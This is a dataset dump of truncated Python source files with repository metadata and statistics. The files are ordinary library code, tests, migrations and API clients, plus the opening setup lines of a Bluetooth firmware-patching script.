50e8f206f440bdcbbd9bd939abccd9fc80b74198 | 102 | py | Python | base/__init__.py | ohshyuk5/stable-baselines-tf2 | 02442226c6b2b3729c8772e2903963ad590313f7 | [
"MIT"
] | 16 | 2020-02-13T04:19:28.000Z | 2021-12-25T16:13:53.000Z | base/__init__.py | ohshyuk5/stable-baselines-tf2 | 02442226c6b2b3729c8772e2903963ad590313f7 | [
"MIT"
] | 3 | 2020-01-28T06:00:44.000Z | 2020-02-11T07:56:46.000Z | base/__init__.py | ohshyuk5/stable-baselines-tf2 | 02442226c6b2b3729c8772e2903963ad590313f7 | [
"MIT"
] | 2 | 2020-01-15T07:18:02.000Z | 2020-01-15T08:26:57.000Z | from base.rl import BaseRLAlgorithm, ActorCriticRLAlgorithm, ValueBasedRLAlgorithm, TensorboardWriter
| 51 | 101 | 0.892157 | 8 | 102 | 11.375 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068627 | 102 | 1 | 102 | 102 | 0.957895 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
50ed362e4a60fb0851df88e2216c212b20e8974c | 12,181 | py | Python | patch.py | RCayre/radiosploit_patches | bdab0d60c67658232d810e375a63ce2a5342cdbf | [
"MIT"
] | 11 | 2021-07-01T07:15:11.000Z | 2021-08-29T21:57:56.000Z | patch.py | RCayre/radiosploit_patches | bdab0d60c67658232d810e375a63ce2a5342cdbf | [
"MIT"
] | null | null | null | patch.py | RCayre/radiosploit_patches | bdab0d60c67658232d810e375a63ce2a5342cdbf | [
"MIT"
] | 3 | 2021-07-01T07:15:12.000Z | 2021-07-27T14:23:53.000Z | from pwnlib.asm import asm
from internalblue import Address
from internalblue.adbcore import ADBCore
from struct import pack
import os
# setup ADB Core
internalblue = ADBCore(serial=True)
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# connect internalblue to the device
if not... | 152.2625 | 2,092 | 0.941056 | 389 | 12,181 | 29.462725 | 0.354756 | 0.053398 | 0.01745 | 0.027921 | 0.034901 | 0 | 0 | 0 | 0 | 0 | 0 | 0.533317 | 0.015598 | 12,181 | 79 | 2,093 | 154.189873 | 0.422484 | 0.01174 | 0 | 0 | 0 | 0 | 0.744389 | 0.716376 | 0 | 1 | 0.042394 | 0 | 0 | 1 | 0 | false | 0 | 0.074627 | 0 | 0.074627 | 0.074627 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
50f342557cf3dbb7e54f8040720d090511ea4f58 | 133 | py | Python | aim/ql/grammar/__init__.py | VkoHov/aim | 92567b48437a8c71b4bde3b034fc0e5c61479cf9 | [
"Apache-2.0"
] | 1 | 2021-07-19T19:21:30.000Z | 2021-07-19T19:21:30.000Z | aim/ql/grammar/__init__.py | VkoHov/aim | 92567b48437a8c71b4bde3b034fc0e5c61479cf9 | [
"Apache-2.0"
] | 2 | 2021-08-25T16:17:16.000Z | 2022-02-10T05:49:55.000Z | aim/ql/grammar/__init__.py | paulmchen/aim | 53212cdce7a80cb8dadfaf7869a31fbf4ee6ce5b | [
"Apache-2.0"
] | 1 | 2021-01-29T02:10:14.000Z | 2021-01-29T02:10:14.000Z | from aim.ql.grammar.atom import Atom
from aim.ql.grammar.expression import Expression
from aim.ql.grammar.statement import Statement
| 33.25 | 48 | 0.842105 | 21 | 133 | 5.333333 | 0.380952 | 0.1875 | 0.241071 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.090226 | 133 | 3 | 49 | 44.333333 | 0.92562 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0fcf0dad42fe04d3954ecbc0ab5aa7ce92896781 | 62,935 | py | Python | boto3_type_annotations_with_docs/boto3_type_annotations/organizations/paginator.py | cowboygneox/boto3_type_annotations | 450dce1de4e066b939de7eac2ec560ed1a7ddaa2 | [
"MIT"
] | 119 | 2018-12-01T18:20:57.000Z | 2022-02-02T10:31:29.000Z | boto3_type_annotations_with_docs/boto3_type_annotations/organizations/paginator.py | cowboygneox/boto3_type_annotations | 450dce1de4e066b939de7eac2ec560ed1a7ddaa2 | [
"MIT"
] | 15 | 2018-11-16T00:16:44.000Z | 2021-11-13T03:44:18.000Z | boto3_type_annotations_with_docs/boto3_type_annotations/organizations/paginator.py | cowboygneox/boto3_type_annotations | 450dce1de4e066b939de7eac2ec560ed1a7ddaa2 | [
"MIT"
] | 11 | 2019-05-06T05:26:51.000Z | 2021-09-28T15:27:59.000Z | from typing import Dict
from typing import List
from botocore.paginate import Paginator
class ListAWSServiceAccessForOrganization(Paginator):
def paginate(self, PaginationConfig: Dict = None) -> Dict:
"""
Creates an iterator that will paginate through responses from :py:meth:`Organizations.Client.... | 61.280428 | 493 | 0.577945 | 6,858 | 62,935 | 5.268008 | 0.072908 | 0.01121 | 0.014172 | 0.015943 | 0.855126 | 0.843307 | 0.826257 | 0.814161 | 0.806217 | 0.800985 | 0 | 0.008516 | 0.333916 | 62,935 | 1,026 | 494 | 61.340156 | 0.853316 | 0.847446 | 0 | 0.47619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.309524 | false | 0.309524 | 0.071429 | 0 | 0.690476 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 10 |
0fd5cab9af7d7775ad8bcc60661c8aa38cdd8ec3 | 43,480 | py | Python | cmdb/migrations/0001_initial.py | longgeek/muop_v1 | e1dda2261384afb51429cfe1efbabdf17c2bbba0 | [
"Apache-2.0"
] | null | null | null | cmdb/migrations/0001_initial.py | longgeek/muop_v1 | e1dda2261384afb51429cfe1efbabdf17c2bbba0 | [
"Apache-2.0"
] | null | null | null | cmdb/migrations/0001_initial.py | longgeek/muop_v1 | e1dda2261384afb51429cfe1efbabdf17c2bbba0 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2019-06-11 10:31
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
('appconf', '0001_initial'),
]
o... | 75.486111 | 318 | 0.61557 | 4,964 | 43,480 | 5.246172 | 0.088437 | 0.087781 | 0.076031 | 0.114047 | 0.884187 | 0.87716 | 0.855119 | 0.835266 | 0.821519 | 0.761923 | 0 | 0.094982 | 0.214006 | 43,480 | 575 | 319 | 75.617391 | 0.667037 | 0.001564 | 0 | 0.677249 | 1 | 0 | 0.212974 | 0.081895 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.001764 | 0.005291 | 0 | 0.012346 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0fec75ddde5c75e14c62e8970adcf92447989b33 | 42,196 | py | Python | src/TheLanguage/Lexer/Phrases/UnitTests/RepeatPhrase_UnitTest.py | davidbrownell/DavidBrownell_TheLanguage | 07170b448a0ebd7fa2325c9ccd4cefdb3cf7eb98 | [
"BSL-1.0"
] | null | null | null | src/TheLanguage/Lexer/Phrases/UnitTests/RepeatPhrase_UnitTest.py | davidbrownell/DavidBrownell_TheLanguage | 07170b448a0ebd7fa2325c9ccd4cefdb3cf7eb98 | [
"BSL-1.0"
] | null | null | null | src/TheLanguage/Lexer/Phrases/UnitTests/RepeatPhrase_UnitTest.py | davidbrownell/DavidBrownell_TheLanguage | 07170b448a0ebd7fa2325c9ccd4cefdb3cf7eb98 | [
"BSL-1.0"
] | 1 | 2021-06-18T18:58:57.000Z | 2021-06-18T18:58:57.000Z | # ----------------------------------------------------------------------
# |
# | RepeatPhrase_UnitTest.py
# |
# | David Brownell <db@DavidBrownell.com>
# | 2021-09-24 14:30:09
# |
# ----------------------------------------------------------------------
# |
# | Copyright David Brownell 2021
# | Distri... | 48.668973 | 112 | 0.456986 | 2,990 | 42,196 | 6.403679 | 0.06087 | 0.138716 | 0.182065 | 0.268763 | 0.899932 | 0.899932 | 0.887293 | 0.87878 | 0.867864 | 0.867864 | 0 | 0.01737 | 0.401033 | 42,196 | 866 | 113 | 48.725173 | 0.740207 | 0.046829 | 0 | 0.497585 | 0 | 0 | 0.014049 | 0 | 0 | 0 | 0 | 0 | 0.091787 | 1 | 0.009662 | false | 0 | 0.057971 | 0.004831 | 0.111111 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ba1408d9b8f74852bc37ffeedd1f0b52bc888123 | 53 | py | Python | quarantine/view/__init__.py | kwoolter/Quarantine | 7b824a3d6eebbded611c48e44dcb3c2e4007033e | [
"BSD-2-Clause"
] | null | null | null | quarantine/view/__init__.py | kwoolter/Quarantine | 7b824a3d6eebbded611c48e44dcb3c2e4007033e | [
"BSD-2-Clause"
] | null | null | null | quarantine/view/__init__.py | kwoolter/Quarantine | 7b824a3d6eebbded611c48e44dcb3c2e4007033e | [
"BSD-2-Clause"
] | null | null | null | from . view import QMainFrame
from . view import View | 26.5 | 29 | 0.792453 | 8 | 53 | 5.25 | 0.5 | 0.380952 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.169811 | 53 | 2 | 30 | 26.5 | 0.954545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
ba2149423eaf6720551bc4e3d9acc8e16e89ebf5 | 190 | py | Python | caldera/data/__init__.py | jvrana/pyro-graphnets | 1c9809253e47414ecf3f6604c2147d5676ff76c0 | [
"MIT"
] | null | null | null | caldera/data/__init__.py | jvrana/pyro-graphnets | 1c9809253e47414ecf3f6604c2147d5676ff76c0 | [
"MIT"
] | null | null | null | caldera/data/__init__.py | jvrana/pyro-graphnets | 1c9809253e47414ecf3f6604c2147d5676ff76c0 | [
"MIT"
] | null | null | null | from caldera.data.graph_batch import GraphBatch
from caldera.data.graph_data import GraphData
from caldera.data.graph_tuple import GraphTuple
from caldera.data.loader import GraphDataLoader
| 38 | 47 | 0.873684 | 27 | 190 | 6.037037 | 0.444444 | 0.269939 | 0.368098 | 0.368098 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.084211 | 190 | 4 | 48 | 47.5 | 0.936782 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
e846dc48dfdc956f5402e40dcea479c66a38774e | 25,714 | py | Python | tensorflow/python/training/session_manager_test.py | yxiong/tensorflow | f71cc62282bf2e066f9ebd08cf3f605fc98c6e41 | [
"Apache-2.0"
] | 6 | 2016-09-07T18:38:41.000Z | 2020-01-12T23:01:03.000Z | tensorflow/python/training/session_manager_test.py | yxiong/tensorflow | f71cc62282bf2e066f9ebd08cf3f605fc98c6e41 | [
"Apache-2.0"
] | null | null | null | tensorflow/python/training/session_manager_test.py | yxiong/tensorflow | f71cc62282bf2e066f9ebd08cf3f605fc98c6e41 | [
"Apache-2.0"
] | 8 | 2017-06-08T09:46:06.000Z | 2021-06-20T14:03:19.000Z | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 41.879479 | 80 | 0.64109 | 3,076 | 25,714 | 5.150845 | 0.08225 | 0.054153 | 0.025751 | 0.049356 | 0.866511 | 0.859821 | 0.854077 | 0.849659 | 0.849154 | 0.841075 | 0 | 0.010453 | 0.244731 | 25,714 | 613 | 81 | 41.947798 | 0.805365 | 0.090534 | 0 | 0.899029 | 0 | 0 | 0.035972 | 0.013848 | 0 | 0 | 0 | 0 | 0.165049 | 1 | 0.046602 | false | 0.017476 | 0.013592 | 0 | 0.064078 | 0.001942 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e873ce1eee6bad3cefbb43023792e0a1d5ae97dd | 56,915 | py | Python | ionoscloud/api/user_s3_keys_api.py | ionos-cloud/ionos-cloud-sdk-python | 3c5804697c262898e6f6a438dc40e1b45a4bb5c9 | [
"Apache-2.0"
] | null | null | null | ionoscloud/api/user_s3_keys_api.py | ionos-cloud/ionos-cloud-sdk-python | 3c5804697c262898e6f6a438dc40e1b45a4bb5c9 | [
"Apache-2.0"
] | null | null | null | ionoscloud/api/user_s3_keys_api.py | ionos-cloud/ionos-cloud-sdk-python | 3c5804697c262898e6f6a438dc40e1b45a4bb5c9 | [
"Apache-2.0"
] | null | null | null | from __future__ import absolute_import
import re # noqa: F401
import six
from ionoscloud.api_client import ApiClient
from ionoscloud.exceptions import ( # noqa: F401
ApiTypeError,
ApiValueError
)
class UserS3KeysApi(object):
def __init__(self, api_client=None):
if api_client is None:
... | 55.364786 | 451 | 0.6308 | 7,135 | 56,915 | 4.793553 | 0.031815 | 0.049822 | 0.082276 | 0.021987 | 0.985644 | 0.982837 | 0.982486 | 0.980908 | 0.979446 | 0.977984 | 0 | 0.017122 | 0.297075 | 56,915 | 1,027 | 452 | 55.418695 | 0.837778 | 0.492278 | 0 | 0.785714 | 0 | 0.021008 | 0.22361 | 0.044464 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027311 | false | 0 | 0.010504 | 0 | 0.065126 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e878330a2e6fbecc53a274ff3c0a08fbec745cc6 | 188 | py | Python | animalai/animalai/communicator_objects/__init__.py | southpawac/AnimalAI-Olympics | efa08a78b2ddad27260c160323a0b20541c13c29 | [
"Apache-2.0"
] | 607 | 2019-04-30T21:10:58.000Z | 2022-03-03T16:36:54.000Z | animalai/animalai/communicator_objects/__init__.py | KacperKazan/AnimalAI-Olympics | c2742dc7344e3907980cf7f1b4fabb1ab09c7062 | [
"Apache-2.0"
] | 75 | 2019-05-02T10:26:28.000Z | 2022-02-07T03:02:44.000Z | animalai/animalai/communicator_objects/__init__.py | KacperKazan/AnimalAI-Olympics | c2742dc7344e3907980cf7f1b4fabb1ab09c7062 | [
"Apache-2.0"
] | 109 | 2019-05-01T10:29:35.000Z | 2022-03-30T07:22:05.000Z | from .arenas_configurations_proto_pb2 import *
from .arena_configuration_proto_pb2 import *
from .items_to_spawn_proto_pb2 import *
from .vector_proto_pb2 import *
from .__init__ import *
| 31.333333 | 46 | 0.840426 | 27 | 188 | 5.259259 | 0.481481 | 0.225352 | 0.394366 | 0.507042 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0.106383 | 188 | 5 | 47 | 37.6 | 0.821429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
e8875795a944b95f9c569bd8cf96341f70c22d0e | 159 | py | Python | doubling_agent/__init__.py | lkmartin90/doubling_agent | 73a7f06aa43c5fa51ea1263b72ebe6f8319bf894 | [
"MIT"
] | 1 | 2020-12-03T15:47:24.000Z | 2020-12-03T15:47:24.000Z | doubling_agent/__init__.py | lkmartin90/doubling_agent | 73a7f06aa43c5fa51ea1263b72ebe6f8319bf894 | [
"MIT"
] | null | null | null | doubling_agent/__init__.py | lkmartin90/doubling_agent | 73a7f06aa43c5fa51ea1263b72ebe6f8319bf894 | [
"MIT"
] | null | null | null | from . import basic_functions
from . import motility_functions
from . import common_functions
from . import steve_functions
from . import image_steve_functions | 31.8 | 35 | 0.849057 | 21 | 159 | 6.142857 | 0.380952 | 0.387597 | 0.589147 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119497 | 159 | 5 | 35 | 31.8 | 0.921429 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
2cd416b9ef923fdba3d5a3f00e1f04b39c65fe64 | 15,447 | py | Python | dff_space_skill/run_test.py | SaschaC/mds_skills_hackathon | baf8e76adf8e766299dac8c89e41b63a955ef2c1 | [
"Apache-2.0"
] | null | null | null | dff_space_skill/run_test.py | SaschaC/mds_skills_hackathon | baf8e76adf8e766299dac8c89e41b63a955ef2c1 | [
"Apache-2.0"
] | null | null | null | dff_space_skill/run_test.py | SaschaC/mds_skills_hackathon | baf8e76adf8e766299dac8c89e41b63a955ef2c1 | [
"Apache-2.0"
] | null | null | null | import random
from scenario.main import actor
import run_interactive
random.seed(314)
# testing
test_set = [
[("hi", "Please enter your search query!"),
("planets with a radius of at most 0.05","""
Normalized NL Query: planets with a radius of at most #num0
XML Queries:['(.//planet[radius<=0.05])[position... | 52.540816 | 883 | 0.69664 | 2,749 | 15,447 | 3.905056 | 0.114587 | 0.021239 | 0.008943 | 0.016395 | 0.908803 | 0.892222 | 0.858034 | 0.828878 | 0.8 | 0.763577 | 0 | 0.105213 | 0.189033 | 15,447 | 294 | 884 | 52.540816 | 0.751736 | 0.000453 | 0 | 0.661202 | 0 | 0.229508 | 0.881737 | 0.070582 | 0 | 0 | 0 | 0 | 0 | 1 | 0.005464 | false | 0.005464 | 0.016393 | 0 | 0.021858 | 0.010929 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
fa1a7c8e30744bbd7a4fe700ccb5da5c59470a79 | 208 | py | Python | src/Task 2 - API/BotLogic.py | Darker97/Virtual-Shop | 7682feb8257856f2c2960bfb5773a8603432c8c6 | [
"MIT"
] | null | null | null | src/Task 2 - API/BotLogic.py | Darker97/Virtual-Shop | 7682feb8257856f2c2960bfb5773a8603432c8c6 | [
"MIT"
] | 1 | 2020-01-14T14:08:55.000Z | 2020-01-14T14:08:55.000Z | src/Task 2 - API/BotLogic.py | Darker97/Virtual-Shop | 7682feb8257856f2c2960bfb5773a8603432c8c6 | [
"MIT"
] | 1 | 2022-02-27T15:13:59.000Z | 2022-02-27T15:13:59.000Z |
class BotLogic:
def BotExit(Nachricht):
print("Say Goodbye to the Bot")
# Beim Bot abmelden
def BotStart(Nachricht):
print("Say Hello to the Bot")
# Beim Bot anmelden | 23.111111 | 39 | 0.605769 | 26 | 208 | 4.846154 | 0.615385 | 0.222222 | 0.269841 | 0.190476 | 0.238095 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.3125 | 208 | 9 | 40 | 23.111111 | 0.881119 | 0.168269 | 0 | 0 | 0 | 0 | 0.247059 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0 | 0.6 | 0.4 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 7 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.